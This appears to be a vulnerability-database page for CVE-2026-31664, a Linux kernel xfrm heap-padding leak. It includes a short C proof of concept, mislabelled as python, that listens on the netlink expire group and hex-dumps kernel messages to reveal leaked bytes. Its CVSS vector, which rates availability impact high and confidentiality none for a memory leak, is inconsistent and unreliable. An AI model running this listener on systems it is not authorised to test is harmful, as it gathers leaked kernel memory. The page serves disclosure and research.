CVE-2026-31664

Description

In the Linux kernel, the following vulnerability has been resolved: xfrm: clear trailing padding in build_polexpire() build_expire() clears the trailing padding bytes of struct xfrm_user_expire after setting the hard field via memset_after(), but the analogous function build_polexpire() does not do this for struct xfrm_user_polexpire. The padding bytes after the __u8 hard field are left uninitialized from the heap allocation, and are then sent to userspace via netlink multicast to XFRMNLGRP_EXPIRE listeners, leaking kernel heap memory contents. Add the missing memset_after() call, matching build_expire().

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (主要内核版本，具体受影响版本需参考各发行版公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>

// PoC for CVE-2026-31664: Kernel Heap Leak in xfrm
// Compile: gcc -o poc_leak poc_leak.c
// This listener subscribes to XFRMNLGRP_EXPIRE and prints received payloads.
// Non-zero bytes after the 'hard' field indicate leaked kernel memory.

#define XFRMNLGRP_EXPIRE 2
#define NETLINK_XFRM 21

int main() {
    int fd;
    struct sockaddr_nl sa;
    char buf[4096];
    struct iovec iov = { buf, sizeof(buf) };
    struct msghdr msg = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 };

    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
    if (fd < 0) {
        perror("socket");
        return 1;
    }

    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    // Subscribe to the expire multicast group
    sa.nl_groups = 1 << (XFRMNLGRP_EXPIRE - 1);

    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        close(fd);
        return 1;
    }

    printf("[+] Listening for XFRMNLGRP_EXPIRE events...\n");
    printf("[+] Waiting for kernel to trigger policy expiration...\n");

    while (1) {
        ssize_t len = recvmsg(fd, &msg, 0);
        if (len < 0) {
            perror("recvmsg");
            break;
        }

        printf("\n[!] Received %ld bytes. Hex dump:\n", len);
        for (int i = 0; i < len; i++) {
            printf("%02x ", (unsigned char)buf[i]);
            if ((i + 1) % 16 == 0) printf("\n");
        }
        printf("\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31664
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31664
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31664/
[4] VulDB https://vuldb.com/cve/CVE-2026-31664
[5] https://git.kernel.org/stable/c/71a98248c63c535eaa4d4c22f099b68d902006d0
[6] https://git.kernel.org/stable/c/ac6985903db047eaff54db929e4bf6b06782788e
[7] https://git.kernel.org/stable/c/b1dfd6b27df35ef4f87825aa5f607378d23ff0f2
[8] https://git.kernel.org/stable/c/c221ed63a2769a0af8bd849dfe25740048f34ef4
[9] https://git.kernel.org/stable/c/e1af65c669ebb1666c54576614c01a7f9ffcfff6
[10] https://git.kernel.org/stable/c/eda30846ea54f8ed218468e5480c8305ca645e37

Raw JSON Data

JSON

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"3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "6.1.169", "matchCriteriaId": "2FCFBA57-878B-4D11-8528-850CE9FB4CB7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.135", "matchCriteriaId": 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